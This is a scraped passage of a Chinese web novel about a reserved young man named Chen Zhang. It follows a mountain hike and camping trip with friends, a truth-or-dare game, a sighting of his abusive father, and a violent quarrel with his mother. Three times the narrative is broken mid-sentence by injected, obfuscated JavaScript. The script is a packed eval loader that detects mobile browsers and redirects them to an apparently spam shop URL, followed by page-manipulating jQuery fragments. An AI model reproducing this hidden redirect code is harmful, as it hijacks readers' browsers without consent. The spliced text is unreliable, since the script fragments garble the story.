温柠忍不住遮掩着轻声咳嗽,叶嘉禾眨眨眼看向卫子赫,后者镜头悄悄转向他们。 陈璋哪受过这种注视,整个人肉眼可见地红了起来,耳尖烫得几乎滴血。 他手忙脚乱地想站起来,顾扬名却手臂微微用力按住他,声音带笑,“别害羞!都是哥们儿,挤挤怎么了?” 陈璋:“......” 对方都这么说了,陈璋觉得现在再站起来,是不是显得太矫情了? 就在此时,王大帅简直成了陈璋的救星,他冲着顾扬名嚷道:“大哥,你是不是有病?这位置是我的!” 陈璋如蒙大赦,连忙点头,再次试图起身。 却又听见王大帅语不惊人死不休地补了一句:“你给我起开!陈璋要坐也是坐我身上!”说着还拍了拍自己的大腿。 陈璋内心无语:......你们都有病吧!这都什么跟什么啊! 一直安静坐在顾扬名旁边的乐君忽然开口,声音清清冷冷的,“陈璋,你坐我这儿吧,我已经休息好了。”说着便站起身,让出了位置。 陈璋觉得这才是真正的天使。 他强硬地站起身,差点被脚下的登山杖绊到,赶忙稳了稳,坐到乐君让出的位置上。 他还对王大帅扯出一个笑:“你可以坐他身上了。” 结果王大帅没动,顾扬名却猛地一屁股坐到了陈璋腿上,对着王大帅挑眉:“行了,就坐一下你的位置,看把你小气的。” “喏,还给你!” 陈璋:“......”这场闹剧什么时候结束? 王大帅脸皮没顾扬名厚,咧着嘴投去鄙夷的眼神,朝顾扬名比了个中指,转身就走。 对乐之和乐君说:“走了走了,跟这神经病待久了影响智商。” 乐之也意味深长地瞥了陈璋和顾扬名一眼,那眼神仿佛看透了什么,随后和乐君、王大帅一起,继续向上爬去。 陈璋面无表情地拍了拍还赖在自己腿上的顾扬名,示意他起来:“现在有位置了。” 顾扬名瞅了瞅旁边空荡荡的座位,又左右张望确认没别人要来坐,这才轻啧一声,不情不愿地站起身,语气相当遗憾:“行吧。” 腿上一轻,陈璋感觉浑身的束缚感都消失了,不自觉地松了口气,整个人都自在了不少。 他这才有心思留意到亭子里另一边的对话。 一个三十多岁的男人,面色不虞,正不停数落着自己身边那个看起来约莫七八岁的儿子。 “从早上起来就板着张脸,我欠你的啊?” “你说要爬山,我特意请假陪你来!你还有什么不满意?” “爬个山也半死不活的!真让你做点事比要你命还难!” “回去除了写爬山日记,还得给我写一千字检讨!好好想想错在哪!” 一连串的话像鹅叫似的难听、嘈杂、毫不留情。 那小男孩低着头,双手紧紧攥着衣角,一言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201112|197189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不发。 这对话实在影响心情,亭子里不少人面露尴尬和不忍,陆续起身离开。 陈璋不清楚前因后果,但不管怎样,当着这么多人的面训斥孩子,无异于把孩子的脸按在地上摩擦,更别提那点小小的自尊心了。 男人还在车轱辘的话来回说,听得人耳朵起茧,让人心情也跟着沉闷。 终于,男人接了一通电话,似乎很重要,他特地起身走到远一些的地方去接。 陈璋和小男孩之间隔了一段距离。 他捏着登山杖在地上划来划去,悄悄挪近小男孩,轻声问:“你现在还能听见你爸爸的声音吗?” 小男孩抬起头,眼睛很大,眉毛却压得很低,看向陈璋的眼神带着警惕。 和陈璋对视几秒后,他觉得这个陌生人语气比爸爸温和一些,于是扭头望了望远处的父亲,摇了摇头。 陈璋浅浅一笑:“是吧?只要离得够远,就听不见了。所以啊,你可以试着走快一点,让他追不上你,那些不好听的话,自然也就听不到了。” “当然,要注意安全。” 小男孩似懂非懂地点了点头。 这时,男人的电话似乎打完了,陈璋便悄悄退回原来的位置。 顾扬名轻轻拉了拉陈璋的衣角,低声说:“你跟他说什么呢?当心被骗。” 陈璋噗嗤一笑,“我被骗?你说反了吧。” “那不一定,”顾扬名一本正经,“你看着就挺呆的。” 他顿了顿,又补了一句:“以后还是别离我太远了。” 陈璋觉得顾扬名简直是一张口就胡言乱语,索性没搭理他。 直到队伍里另外三人也到达亭子,陈璋起身对他们说:“坐这儿吧,有空位,风景也不错。” 顾扬名跟在他后面,拍了拍辛浩宇的肩膀:“你们慢慢来,不急。差不多再有三四个小时就能到酒店了。” 辛浩宇累得说不出话,只能拍了两下顾扬名作为回应,就瘫倒在长椅上趴着休息。 辛翰宇扶着苏雨桐坐下,轻声问:“雨桐,要喝水吗?” 苏雨桐脸颊泛红,刘海被汗水浸湿,都快凝成一条一条贴在额头上,她微微喘着气,点了点头。 花玉山很高,一般人爬到半山腰就不会再往上走了。 即便有心登顶,也往往会选择第二天再继续。 不过,这种“继续”的念头也常常在隔日醒来后,被全身如同散架般的酸痛感无情打断。 陈璋跟着顾扬名选择了直登山顶,这样还能看看日出。 不过这得看运气,毕竟今天的天气实在不算好。 除了他们,乐之、乐君和王大帅也决定继续向上,其余的人则留在半山腰的酒店,等第二天顾扬名他们下山后,再一起坐索道下去。 陈璋跟在顾扬名身后,体力渐渐透支,越走越慢,背也越来越弯,每一步都像是踩在棉花上,又像是拖着沉重的镣铐。 他真想停下来歇一歇,可另外两个女生却显得比他能忍,更不用说顾扬名和王大帅了。 陈璋有点后悔刚才为什么不留在酒店,他现在只想躺下睡觉。 自尊心真是个微妙的东西,总在奇怪的地方拖着人硬撑。 所以陈璋硬是一句话没说,靠四肢并用,以一种别扭又难看的姿势,一步步往上爬。 终于在最后一抹夕阳落下前,他爬上了山顶,远远望去,云海被染成绛紫色,天边是橙黄的分界线。 顾扬名站在山顶宽阔的平台上,朝着陈璋的方向朝山下喊。 “陈璋!我们到了!” “明年,我们再来一次花玉山吧!” 陈璋还差最后一步台阶,被顾扬名这一喊吓了一跳,膝盖猛地磕在石阶上。 幸好他及时稳住,没有摔下去。 这句话太像赵希一的声音了。 他甚至有些幻听。 陈璋勉强站起身,疼得吸气,眼泪险些飙了出来。 顾扬名察觉出他的异常,上前问道:“你没事吧?” 他又带点调侃地说:“不会是被我感动哭了吧?” 陈璋只挤出一句:“......好痛!” 14. 第十四章 顾扬名一把扶住陈璋的手臂,语气急切:“哪里痛?是崴到脚还是磕到膝盖?严重吗?” 看着陈璋脸色发白,他又低声补了一句:“对不起,我不该走那么快的。” 陈璋被这一连串的追问和道歉弄得很不自在。 他觉得顾扬名有些大惊小怪,又觉得自己似乎太矫情了。 “没事,现在不疼了。” 他略显生硬地抽回手臂,他不习惯别人这样嘘寒问暖,更何况只是点小磕碰。 顾扬名明显不信,“陈璋,说一句很疼,很严重又能怎么样呢?” 陈璋身体半侧着,膝盖还在隐隐作痛,但更让他无措的,是顾扬名的语气。 他下意识觉得对方在责怪自己,却又生不起气来。 因为他能感觉到那话里裹着关心、无奈,甚至一丝不易察觉的温怒。 陈璋不知如何回应。 他总是想得太多,那张看似无所谓、不在意的脸下,藏满了密密麻麻的心思。 他太敏感,敏感到能在对方开口的瞬间,就辨出话里真实的温度,以及对方的态度。 那种感觉是扑面而来的,是不需要解释的。 顾扬名以为把他唬住了,叹了口气,重新扶住他的手臂:“一起过去吧。” 这次陈璋没拒绝,心里甚至泛起一丝说不清的愧疚。 顾扬名是真心拿他当朋友,而他自己却做不到同等的信任。 山势连绵不绝,他们站在顶峰,一览众山小。江流如带穿行其中,向远方蔓延,如巨树舒展的枝脉。 若是生在平原的孩子,大概会为此惊叹。 但陈璋没有。 白马村卧于群山之间,他从小睁眼便是望不尽的山。 对那时的他而言,山不是风景,是牢笼,是捆住他的障碍。 陈璋目光飘向远处,声音轻得像自语:“那是月亮吗?” 顾扬名就站在他身边,靠得很近,大概是唯一听清的人。 他指向空中那轮不算明亮的圆影,“那个吗?应该是吧。” 陈璋望着他伸出的手,轻声说:“手不能指月亮。” 顾扬名挑眉:“为什么?” 陈璋陷入了回忆,因为这是小时候赵希一告诉他的,他记到现在。 他说:“指了月亮,耳朵会被月亮割掉的。” 顾扬名反应过来,忍不住笑了两声:“陈璋,你是小孩子吗?这都信?” 陈璋闷声道:“......爱信不信。” “好好好。”顾扬名敛起笑意,一本正经,“那怎么办?我都指了。” 陈璋知道他是故意逗自己的,赌气道:“不知道。” 顾扬名听他语气别扭,坏心一起,忽然牵起陈璋的手,直接带他向月亮指去。 “那不行,不能就我一个人上当。” 陈璋面无表情地看着他,眸色微冷。 他在用表情说:你很幼稚! 顾扬名见状,假装咳嗽了两声,对着其他几人说:“你们能看见月亮吗?陈璋说他看见了,我怎么没看见。” 王大帅第一个回应:“那么大个月亮你看不见吗?” 顾扬名左看右看,“哪儿?你能指给我看看吗?” 王大帅虽觉奇怪,但还是照做,“就那儿呀!” 顾扬名又转向乐之:“你们呢?能看见吗?” 乐之一听就知他没安好心,淡淡回了一句:“无聊。” 顾扬名也不恼,继续问乐君:“你呢?” 乐君轻声说:“我也没看见。” 顾扬名见只骗到一个人,对着陈璋耸耸肩,“没意思。” 陈璋嘴唇轻启,嘴角上扬,浅笑着低声说:“无聊。” 只有王大帅一个人没看懂也没听懂,嚷嚷道:“不是,你们什么意思?合着就我一个人是傻子?” 顾扬名点点头,瞅了他几眼,“你不就是吗?” “你......你给我等着!”王大帅一把卸下登山包,开始整理东西。 乐之和乐君两人分担着合背一个包。陈璋和顾扬名一样。 王大帅则是自己一人背全副装备。 山中不能生火,每人都带了些冷食。 三个帐篷围成一圈,五个人挨着坐下。 夜风轻拂,还不算冷,大概要等几场秋雨过后,天气才会骤然转凉。 王大帅啃着面包提议:“要不要玩个小游戏?总不能干坐着等日出吧。” 乐之接话:“行呀,真心话大冒险怎么样?” 乐君说:“真心话可以,大冒险就算了。” 陈璋本以为乐君是考虑安全,却听她接着说:“这儿发挥空间太小了,下次等人多再玩。” 王大帅折中道:“那这样,真心话照旧,大冒险改成用微信给指定的人发消息,行不?” 顾扬名看向陈璋,轻声问:“你可以吗?” “可以的。”陈璋点头。 他十分庆幸提交离职申请那天,顺手清理了微信好友。 现在列表里还有多少人,他也暂时不清楚,反正不多。 王大帅拿出白天喝剩的半瓶矿泉水,“我来转瓶口,转到谁就是谁,下一轮由上一轮被转到的人转,没问题吧?” 顾扬名再次望向陈璋:“可以吗?” 陈璋点头,其他人也没意见,王大帅便转动了瓶子。 陈璋死死盯着不断旋转的瓶身,心中默念:千万别第一个是我。 大抵是上天听见了他的愿望,并且慷慨地“回应”了。 瓶口不偏不倚,正对准他。 陈璋望着那截停的矿泉水瓶,内心只想骂人,上帝是不是耳背? 顾扬名一眼看出陈璋脸色的变化,立刻对王大帅说:“你这转的什么瓶子?一圈就转到人,概率也太不公平了吧!” “行行行,你来转总行了吧?”王大帅也看出些端倪。 其实他内心也不太希望陈璋第一个被转到,这一整天下来,陈璋话很少,除非有人主动搭话,几乎不见他开口。 他担心陈璋作为第一个会放不开,而他们其他人倒无所谓,还能先活跃下气氛。 但陈璋怕这个调整会让王大帅不高兴,急忙说:“没事,我也不会转瓶子,就这样吧。我先来,我选真心话,可以吗?” 既然陈璋都这么说了,顾扬名也不再坚持。 陈璋拿起瓶子,问:“你们谁来问?” “我来!”王大帅举手,“是我转的,当然是我问!” 陈璋笑着点头:“那你问吧。” 王大帅脑子里闪过各种五花八门的问题,最后还是选了个相对简单的作为开场:“如果你对一个人心动了,你会做什么?” 他朝顾扬名挑挑眉,内心得意:这问题可以吧?没问俗套的“你喜欢的人是谁”,没问“在场有没有你喜欢的”,也没问“谈过几个”。 就问心动时会做什么? 多有内涵!多有深度!多纯粹! 顾扬名却在心里咬牙切齿:这什么鬼问题?是正常人想得出来的吗? 多低俗!多肤浅!多无聊! 难道就不能问问“最后悔的事是什么”吗? 乐之也觉得这问题一般,但乐君却静静看着陈璋,她和王大帅一样,想知道这个答案。 陈璋不自觉地捏着塑料瓶,发出细微的“咔滋”声。 他很认真地思考着:心动,会做什么? 对于过去二十几年从未细想心动,更没有想过心动后会做什么。 陈璋反复推演后,虽不确定,但他想到了自己能接受的行为。 “拥抱。”陈璋说。 他仔细想过,这个行为,或许他只能接受和恋人拥 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她玩过的真心话大冒险,问题大多围绕情情爱爱,本以为陈璋也会如此。 她回想自己小半生,谈不上什么大起大落,若说“叛逆”,似乎每一件都与乐之有关。 她平静答道:“我抢了乐之的未婚夫。” 话音落下,四周一片寂静,就连风吹树叶的声音也是格外清晰。 陈璋被这个回答惊住,有些慌乱地望向顾扬名。 顾扬名轻轻拍了拍他的手背,出声打圆场:“这不算吧?本来也没真正定下来,谈不上抢。” 乐之脸色顿时沉了下来,这句话像戳中了她的痛处,冷声道:“装什么装!” 乐君似乎不愿多解释,已拿起瓶子转动,很巧,瓶口又一次指向了陈璋。 她略带歉意:“这真是意外。” “没事。”陈璋也有些无奈,“那我选大冒险吧。” 乐君说:“没关系,选真心话也行。”她其实想知道,为什么是拥抱。 或许,她只是觉得陈璋的答案会有些不一样。 陈璋摇头:“不用,既然选了就大冒险。等下次轮到我,再回答真心话。” 乐君略有遗憾,想了想说:“你微信好友多吗?” 陈璋:“不多。” 乐君:“那就给你微信列表里排第30个人发一句,我想你了。” “......可能不太行,”陈璋有些不好意思,“我微信里没有30个好友。” 此话一出,在场几人脸上都写满困惑。 没有30个人??? 陈璋主动提议:“要不......第10个吧?” 他看得出每个人都想问为什么,但他不想解释,于是抢先开口。 乐君从善如流:“也行。” 王大帅没忍住感叹:“你是不是完全不社交啊?” 乐之也接话:“我微信有300个好友还觉得少呢。” 顾扬名不满地打断,“行了,管那么多!” 王大帅讪讪闭嘴。 陈璋打开手机,找到列表里第10个人,发去一句:我想你了。 那是他大学时的室友,徐竞元。人挺不错,以前常给陈璋带吃的喝的,还带他打游戏。 消息刚发出去,对方回复得极快。 -你是看到我送的毕业礼物了吗? -谢谢你回应我,但我已经有男朋友了 -我对你的喜欢,已经是过去式了 回复来得太快,陈璋还没反应过来,顾扬名已经瞥见了屏幕。 陈璋抬头,对上顾扬名的目光,竟莫名有些心虚,甚至......害怕。 15. 第十五章 “你不回消息吗?”顾扬名注视着陈璋,语气轻飘飘的,像是普通朋友间随口的询问。 可越是这么轻描淡写,陈璋反而不知如何应对,如坐针毡,他可没忘记顾扬名的性取向。 王大帅好奇心起,连连追问:“回什么了呀?” 陈璋没正面回答,只是熄了手机屏幕,转向其他人问道:“可以解释吗?” 王大帅挠挠头:“可以吧?” 他说完,看向乐之和乐君,寻求她们的意见。毕竟这种游戏,不解释才更有意思,就算要解释,通常也要求等到第二天。 乐之的目光在顾扬名和陈璋之间转了转,唇角微扬道:“扬名都这么说了,想解释就解释呗。” 乐君也无所谓地点了点头。 陈璋觉得自己像是被架起来了,他本不该问能不能解释,应该直接说晚点再回。 一场意外的游戏,撞破了昔日好友未曾言明的心意。 他甚至从没认真翻看过徐竞元送的毕业礼物。 如果没记错,那是一本书——《一只特立独行的猪》。当时他还开玩笑,说徐竞元对他的评价可真特别。 毕业后,陈璋把这本书连同其他东西一起寄回了家,但学府名城的住处还没整理妥当,他就开始入职培训,后来直接搬到了星阳小区,那本书至今仍躺在某个未拆的箱子里。 陈璋瞥了顾扬名一眼,对方似乎很期待他的回复。 他轻叹一声,慢悠悠解锁手机,指尖悬在屏幕上方,迟迟没有落下。最后他抬眼看了看周围,开始打字。 -那就好,我一直把你当成朋友。以前你总带我打游戏,我很怀念,特别想再跟你玩一次。下次一起吧。 顾扬名看着陈璋按下发送键,神色淡然地移开目光,“下一个吧。” 陈璋开始转瓶子。 也许是因为自己被转到两次心有不甘,他特别想问问顾扬名。 可事与愿违,五个人玩了十个来回,瓶口一次都没指向顾扬名。 最后陈璋看向顾扬名的眼神里几乎藏不住幽怨,王大帅更是不爽,直接嚷嚷不玩了,兴致缺缺。 加上气温逐渐降低,山风微冷,王大帅吵着要回帐篷,通宵硬熬确实不现实。 爬了一天的山,说不累是假的,每个人双腿酸软,只想先躺几个小时再说。 陈璋和顾扬名共用一个帐篷,各自钻进睡袋。陈璋躺下时和顾扬名离得很近,顾扬名侧身面向他。 陈璋本想转身背对他,慢慢挪动时,却听见顾扬名说:“陈璋,你压到我头发了。” 陈璋一个激灵坐起身,回头仔细查看:“......逗我很好玩吗?” “嗯,是有点好玩。”顾扬名用手肘撑起脸,歪头看他,“你好像不高兴?” 陈璋下意识扒拉了几下睡垫,生怕真压到对方头发,低声嘟囔:“没有,别乱猜。” “今天晚上,你就没什么想问我的吗?”顾扬名问。 “没有。”陈璋嘴硬。 顾扬名叹了口气,语气带着几分唏嘘:“别人都说,两个人关系要进一步,就得对彼此产生好奇。” “我还准备了好多问题呢。” “我和你已经是朋友了,不需要再进一步。”陈璋躺得笔直,双手叠放在腹部。 顾扬名低头凑近他,温热的气息若有若无,“怎么就不能进一步了?朋友也分普通朋友和好朋友啊!” 陈璋闭口不答。 顾扬名不甘心,隔着厚厚的睡袋,轻轻踢了他一下。 陈璋淡淡瞥他一眼,终于开口,声音在狭小的帐篷里格外清晰:“你......是不是喜欢我?” “你白天说你不喜欢女的,现在又说要进一步,类似的话,徐竞元以前也对我说过。” 顾扬名沉默了片刻。 某种程度上,陈璋这直球一击,歪打正着。 他确实想与陈璋的关系更进一步,尽管具体是哪一步,他自己也还不确定。 “有没有人说过你很自恋?”顾扬名忽然问。 陈璋轻笑一声,坐起身来,在昏暗的光线中俯视他:“还真没有。” 顾扬名挑眉:“那现在有了。” 陈璋点点头:“挺好。不过你也不用担心,我刚才是说着玩的。” “其实我有问题想问你。” “你问。”顾扬名也坐直,两人在逼仄的空间里平视着对方。 “你生日是几月几号?” “8月3日。” “你比赵希一大吗?” “同岁。” 陈璋点点头,躺下,“好了,睡吧。” “这就问完了?”顾扬名惊呆了,“你不问点私密的问题吗?比如我有没有谈过男朋友?有没有喜欢的人?” 陈璋面露不解:“我又不喜欢你,问这些做什么?” 顾扬名一时语塞:“......那你怎么不问问赵希一的事?” “可以问吗?”陈璋立刻起身,甚至向前倾了些。 顾扬名却利落地躺下,转身背对他,闭眼:“不可以。” 陈璋:......骗子!!! 陈璋设了五点五十的闹钟。睡前他看了眼天气预报,日出时间大约在六点十分。 他和别人一起睡时睡眠很浅,闹钟一响就醒了,第一时间按掉。 四周很安静,只能听见顾扬名平稳的呼吸声。 “顾扬名。”他轻声唤道。 顾扬名没醒。 陈璋想了想,决定等他自然醒。 他披上外套,听见帐篷外似有细微的脚步声。 穿戴整齐后掀帘而出,发现是乐君。 她坐在长椅上看手机,听到脚步声回头看他:“早。” 陈璋在她身边坐下:“早。” 乐君似乎在处理消息,有些忙。 陈璋安静地陪坐一旁,直到她熄屏收起手机,才轻声开口:“可以问你点事情吗?” 乐君问:“是关于顾扬名的?” 陈璋点头:“嗯,你知道他生日具体是哪天吗?” “怎么不直接问他?”乐君没有直接回答。 陈璋心底藏着别的打算,“到时候给他个惊喜。” 乐君挑眉:“8月3日。” “他有什么外号吗?”陈璋突然问。 乐君沉吟:“外号?好像没有,也没人敢给他取外号。” 陈璋没想到顾扬名在这群人里地位这么高,又问:“他有兄弟姐妹吗?表哥表弟也算。” “你问这个做什么?”乐君微微皱眉,语气里带了些警惕。 陈璋语气缓和,试图显得随意,“没什么,就是觉得顾扬名长得挺好,要是女孩一定很漂亮吧?” 乐君脑中浮现顾扬名女装的模样,颇为认同地点头:“那倒是,我第一次见他也误以为是女生。” 但她随即正色道:“不过他的家庭情况,只能由他亲自告诉你,我不能说。” 陈璋问:“为什么?” 乐君还未回答,就听身后传来顾扬名刚醒时慵懒鼻音的声音:“你们在聊什么?” 乐君从容接话,面不改色:“没什么,陈璋说你要是个女孩就好了。” 陈璋:??? 他立刻站起身,澄清:“没有!我是问他有没有兄弟姐妹!” 话音刚落,陈璋就知道坏了,乐君本在替他遮掩,他自己反倒说漏了嘴。 顾扬名看上去并未深究,走到陈璋身边坐下:“哦?这话听起来更伤心了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201114|197189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你是喜欢我这款,但又不喜欢男的,所以想找个和我长得像的女生?” 陈璋睁大眼睛,这都什么跟什么? “......我没有。” 顾扬名拉着他的手臂让他坐下:“我不信。”他顿了顿,又带点耍赖:“不过,我就算有妹妹也不告诉你。” 陈璋放弃挣扎了,只要顾扬名别想歪就行。 这时乐之、王大帅也陆续出来,五人并肩坐在长椅上,望向天际。 天边出现一条染白的浆线,晕开出橘光,是一层流动的金边,就在一瞬间,朝阳一跃而出,顷刻间,山河尽染。 顾扬名坐在陈璋侧后方,微微低头就能看见陈璋浸在晨光里的侧脸。平日那分清冷,此刻终于柔和下来。 众人收拾下山,在半山腰与另外几人会合,一起坐缆车返回。 陈璋提前联系了高师傅,大家在车站等车。 他安静地听他们聊天,目光掠过景区里来来往往的人群。 朋友之间会相互打闹,恋人会依偎低语,家人之间则絮叨中带着关切。 每一种关系都有温度,也有距离。 陈璋静静看着,不说话。 他发现自己并不羡慕,也不失落。 只是清楚地知道,有些温暖可以很近,却始终隔着一层透明的墙,而有些距离,看似遥远,却比任何人都更有分量。 陈璋坐在回程的车上,目光放空。直到车子启动,他无意间瞥向景区大门,整个人猛地僵住。 陈远川站在那里,手里牵着一个小男孩。 陈璋不自觉地侧身扭头,想看得更清楚,车在行进,视线很快被阻挡。 他下意识地追着那个方向,直到汽车转弯,那对身影彻底消失在视野里。 “你在看什么?”顾扬名注意到他的异常。 “......没什么,好像看见个熟人。”陈璋靠回座椅,声音有些发涩。 为什么会有个孩子? 陈远川离开后,结婚生子了吗? 无数疑问和猜测瞬间涌上心头,陈璋感到一阵无力。 他发现自己对陈远川的生活一无所知,过去无法改变,未来也无法干预,这种失控感让他窒息。 将顾扬名一行人送到酒店后,陈璋以疲惫为由,婉拒了一起吃饭的邀请。他需要一个人静一静,而且他要去学府名城拿徐竞元送的那本书。 与陈远川的意外相遇,让陈璋的心情明显低落下来,甚至难以维持表面的寒暄。 顾扬名没有强求,只是说下次再聚。 陈璋点头道别,乘车离开。 顾扬名望着车子远去,直至消失。 王大帅凑过来勾住他的肩膀调侃:“别看了,眼珠子都快掉出来了!饿死了,我们去吃火锅吧?” 顾扬名扒开他的手:“你先别饿死,有件事忘了告诉你,秦年快到了,你小心被打死。” 王大帅瞬间弹开,哇哇大叫:“我靠!顾扬名你故意的吧!想看我死是不是?” “你死了对我有什么好处?”顾扬名拍了拍他肩头并不存在的灰尘,“零好处,甚至还有坏处。” 王大帅立刻扑上来抱住他的大腿:“你别走!救救我!他真会打死我的!” 顾扬名抬手揉了揉他卷曲的头发,语气带点怜爱,“我知道呀,祝你好运。” 回到酒店房间,顾扬名看着手机上陈璋那个单调的蓝色微信头像。 他们的重逢,开场过于粗糙仓促,一切都是即兴发挥,甚至是一个谎言的开头。 陈璋看似相信了他就是“顾扬名”,可为什么......又会去问乐君,他有没有兄弟姐妹呢? 陈璋是在试探什么吗? 还是他想多了? 16. 第十六章 陈璋回到学府名城的时候,汤佳还没回来。 屋子很空、很大,尤其是客厅,大得显得人很寂寞。 这房子采光本就不算好,到了傍晚,若不开灯,整个屋子就会便陷入一片昏沉,视野模糊。 陈璋按下开关,灯光亮起,他才发现客厅里添了不少新物件,墙上挂了装饰画,桌上摆着鲜花,连茶几和窗帘也都换过了。 他走进自己房间,不出所料,里面也被动过了。床单被换掉,衣柜被重新整理,连书桌也未能幸免。 烦。 这是陈璋此刻唯一的情绪。 他说过无数次不要进他房间,却从来没人当真。 陈璋站在原地深呼吸,想到自己最近并不常住这里,胸口的闷气才稍稍平复。 他从书桌底下拖出一个密封的纸箱,用剪刀划开胶带,翻找片刻,从底层抽出了那本书。翻开封面,内页并没有写什么字。 他将纸箱重新封好推回原处,坐在书桌前。 正想细看,却听见门外传来动静。 陈璋以为是汤佳,但下一秒响起的手机铃声让他立刻意识到是王知然。 这铃声太熟悉,几乎是陈璋另一种层面对母亲的记忆,是一种标志。 她的手机总是响个不停,陈璋却很少觉得厌烦,因为那至少证明王知然在家,他的妈妈是在他身边的。 陈璋没有立即出去,他靠在椅背上,等王知然先讲完电话。 但王知然却先一步走到他房间门口,手机还贴在耳边,“你怎么回来了?” 陈璋转过椅子,看见王知然对电话那头说:“先按我说的做,回头再谈。” 她挂断电话,问陈璋:“吃饭了吗?” 陈璋摇头:“没,我来做吧,你想吃什么?” 王知然走进房间:“我来做,你好不容易回来一趟。” 这句话却微妙的敲打了陈璋的心,他们同住一个城市,甚至在同一家公司工作,却难得见一面。 王知然目光落在他手里的书上:“回来拿东西吗?” 陈璋把书放在桌上:“嗯,你今天怎么有空回来?不是节假日吗?” “就是因为太忙,你吴叔来接班,我今晚才有点时间。”王知然说。 吴叔,全名吴裴全,是王知然多年的事业伙伴。他原本是名教师,辞职后入股与王知然一起创业。 吴裴全戴着金丝眼镜,个子高瘦,为人随和健谈,几乎能和所有人聊得来,给人留下好印象。 是个讨喜的人。 除了陈璋——他不喜欢这个人。 吴裴全常对陈璋说:“你妈妈是我见过最厉害的人!” 可在许多分歧上,他又会对王知然说:“我希望你听我的。” 在陈璋眼里看来,吴裴全是虚伪的。 他用赞美捧高一个女人,却想让她听命于己。 每次与吴裴全对话,陈璋都仿佛看见这个虚伪的人在自己面前炫耀:看,你的母亲这么强大厉害,却被他“征服”了。 恶心。 陈璋时常在心里这样骂吴裴全。 陈璋敛起眼底的情绪,低声问:“他不是说要撤股吗?” “哪有那么容易。”王知然轻叹一声,“现在太忙了,等过段时间再说吧。” 总是这样。 “过段时间”“过段时间”,可已经过去太多段时间了。 陈璋想反驳,却最终学会了闭嘴。 这是他反驳无数次,等不到回应的结果。 王知然不会听他的,她太相信自己的判断,或者说,她从不承认自己的错误。 王知然见陈璋情绪不高,伸手揉了揉他的头发:“好了,别总这样,开心一点不行吗?” 陈璋扯了扯嘴角,挤出一个假笑。 王知然收回手:“吃饺子吧?现在做别的有点晚了。” 陈璋点头:“好。” 其实他不喜欢饺子,但这一点也不重要。 王知然满意地转身去了厨房。 陈璋望着她的背影,欲言又止。 吃饺子时,陈璋还是没忍住:“今天我在景区看见陈远川了。” 王知然夹饺子的手顿了一下,没接话。 陈璋继续道:“他带着个孩子,是他亲生的吗?” 王知然吃了几口饺子,像在斟酌用词:“嗯,是他儿子,他在景区工作。” “是你安排的?”陈璋问。 王知然知道这会让陈璋不快,却还是点了头。 陈璋苦笑一声,他甚至不知道自己是不是在嘲讽:“你借他钱,又给他找工作,接下来是不是要接他回家?” “我没有。”王知然放下筷子,“陈璋,我们能不能别每次谈话都像吵架吗?” “那为什么你总做让我难受的事?”陈璋声音发紧,“你明知道我恨他、讨厌他,我只希望他消失,可你偏要和他联系。” “你明明说不会在同一个坑里跳了两次的,可是你在撒谎!” 王知然被激怒了,她受够了儿子的指责:“我做什么,轮不到你管!” “可他是我的爸!你是我妈!”陈璋声音在发颤。 “既然你知道,为什么不能放下过去?”王知然眼中带着劝解,“事都过去那么久了,他也活不长了!你就不能好好过日子吗?” “是我不想好好过吗?是你!是你在破坏!是你不想!”陈璋言语开始不受控制,“你是在当救世主吗?觉得当年那么对你的男人现在一无所有,你就心软了?” “不止是他,你是不是连他儿子也要接回来?” 王知然拍桌而起:“陈璋!你知道你在说什么吗?你有什么资格这样对我说话!” 陈璋不甘示弱,站起来对峙:“是你不知道自己在做什么!你忘了他当年怎么打你的吗?好了伤疤忘了疼?” 王知然深吸一口气:“那是因为他破产了,生意失败,精神不稳定......在此之前,他对我都——” “对你很好,舍不得你洗衣做饭,舍不得你累着!”陈璋厉声打断,“可那都是以前!改变不了他打你、打我的事实!” 王知然仍在试图劝解:“你都说了,那是以前!” 陈璋再也忍不住,他口不择言,说出自己的猜想:“你是疯了?还是说你离不开陈远川!” 话音未落,一记响亮的耳光扇在他脸上。 王知然的手震得发麻,陈璋的脸瞬间红肿。 这是王知然第一次打陈璋。 陈璋的眼睛在流泪,他的视线模糊,仿佛看见过去那个可怜的自己。 他哭诉道:“小时候你接我走的时候,我浑身是伤,洗澡都疼,你看着我的伤疤,说这辈子绝不会打我。” “后来你发现我对声音敏感,说你永远不会吼我。” “这些年来,你一直做得很好,甚至很少管我。” 王知然不自觉地捏紧了手。 这一巴掌,好像把她自己也打醒了。 陈璋继续说:“可你会管汤佳,她做错了,你会骂她、打她。我甚至想过,你能不能也这样骂我一句、打我一下。” “我觉得我真是疯了!一个害怕被打骂的人,居然会渴望被打被骂。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201115|197189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 